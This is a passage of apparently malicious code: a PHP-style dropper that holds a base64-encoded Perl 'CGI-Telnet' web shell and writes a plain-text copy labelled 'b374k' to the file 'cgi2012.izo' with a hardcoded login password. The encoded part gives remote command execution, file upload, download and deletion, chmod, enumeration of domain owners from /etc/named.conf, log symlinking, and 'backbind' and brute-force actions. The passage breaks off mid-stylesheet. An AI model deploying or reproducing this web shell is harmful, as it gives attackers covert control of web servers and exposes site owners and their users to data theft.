IEZpbGVTaXplKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZiAkZmlsZSkKCXsKCQlyZXR1cm4gLXMgJGZpbGU7Cgl9CglyZXR1cm4gIjAiOwoKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICRDdXJyZW50RGlyLiRQYXRoU2VwOwoJJHBhdGg9fiBzL1xcXFwvXFwvZzsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJGQuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
$file = fopen("cgi2012.izo", "w+");
$write = fwrite($file, "#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;\n\$Version= \"CGI-Telnet Version 1.3\";\n\$EditPersion=\"<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(300, 0, 0), 0px 0px 5px rgb(300, 0, 0); color:#ffffff; font-weight:bold;'>b374k - CGI-Telnet</font>\";\n\n\$Password = \"bandungkotasampah\";\t\t\t# Change this. You will need to enter this\n\t\t\t\t# to login.\nsub Is_Win(){\n\t\$os = &trim(\$ENV{\"SERVER_SOFTWARE\"});\n\tif(\$os =~ m/win/i){\n\t\treturn 1;\n\t}\n\telse{\n\t\treturn 0;\n\t}\n}\n\$WinNT = &Is_Win();\t\t\t\t# You need to change the value of this to 1 if\n\t\t\t\t\t\t\t\t# you're running this script on a Windows NT\n\t\t\t\t\t\t\t\t# machine. If you're running it on Unix, you\n\t\t\t\t\t\t\t\t# can leave the value as it is.\n\n\$NTCmdSep = \"&\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Windows NT.\n\n\$UnixCmdSep = \";\";\t\t\t\t# This character is used to seperate 2 commands\n\t\t\t\t\t\t\t\t# in a command line on Unix.\n\n\$CommandTimeoutDuration = 10000;\t# Time in seconds after commands will be killed\n\t\t\t\t\t\t\t\t# Don't set this to a very large value. This is\n\t\t\t\t\t\t\t\t# useful for commands that may hang or that\n\t\t\t\t\t\t\t\t# take very long to execute, like \"find /\".\n\t\t\t\t\t\t\t\t# This is valid only on Unix servers. It is\n\t\t\t\t\t\t\t\t# ignored on NT Servers.\n\n\$ShowDynamicOutput = 1;\t\t\t# If this is 1, then data is sent to the\n\t\t\t\t\t\t\t\t# browser as soon as it is output, otherwise\n\t\t\t\t\t\t\t\t# it is buffered and send when the command\n\t\t\t\t\t\t\t\t# completes. This is useful for commands like\n\t\t\t\t\t\t\t\t# ping, so that you can see the output as it\n\t\t\t\t\t\t\t\t# is being generated.\n\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\n\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\n\$cols= 150;\n\$rows= 26;\n#------------------------------------------------------------------------------\n# Reads the input sent by the browser and parses the input variables. It\n# parses GET, POST and multipart/form-data that is used for uploading files.\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\n# Other variables can be accessed using \$in{'var'}, where var is the name of\n# the variable. Note: Most of the code in this function is taken from other CGI\n# scripts.\n#------------------------------------------------------------------------------\nsub ReadParse \n{\n\tlocal (*in) = @_ if @_;\n\tlocal (\$i, \$loc, \$key, \$val);\n\t\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\n\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\n\t{\n\t\t\$in = \$ENV{'QUERY_STRING'};\n\t}\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\n\t{\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\n\t}\n\n\t# handle file upload data\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\n\t{\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \n\t\t@list = split(/\$Boundary/, \$in); \n\t\t\$HeaderBody = \$list[1];\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\n\t\t\$Header = \$`;\n\t\t\$Body = \$';\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\n\t\t\$in{'filedata'} = \$Body;\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \n\t\t\$in{'f'} = \$1; \n\t\t\$in{'f'} =~ s/\\\"//g;\n\t\t\$in{'f'} =~ s/\\s//g;\n\n\t\t# parse trailer\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\n\t\t{ \n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\n\t\t\t\$key = \$1;\n\t\t\t\$val = \$';\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} = \$val; \n\t\t}\n\t}\n\telse # standard post data (url encoded, not multipart)\n\t{\n\t\t@in = split(/&/, \$in);\n\t\tforeach \$i (0 .. \$#in)\n\t\t{\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\n\t\t\t\$in{\$key} .= \$val;\n\t\t}\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML Page Header\n# Argument 1: Form item name to which focus should be set\n#------------------------------------------------------------------------------\nsub PrintPageHeader\n{\n\t\$EncodedCurrentDir = \$CurrentDir;\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\tmy \$dir =\$CurrentDir;\n\t\$dir=~ s/\\\\/\\\\\\\\/g;\n\tprint \"Content-type: text/html\\n\\n\";\n\tprint <<END;\n<html>\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n<title>Hacsugia</title>\n\n\$HtmlMetaHeader\n\n</head>\n<style>\nbody{\nfont: 10pt Verdana;\n}\ntr {\nBORDER-RIGHT: #3e3e3e 1px solid;\nBORDER-TOP: #3e3e3e 1px solid;\nBORDER-LEFT: #3e3e3e 1px solid;\nBORDER-BOTTOM: #3e3e3e 1px solid;\ncolor: #ff9900;\n}\ntd 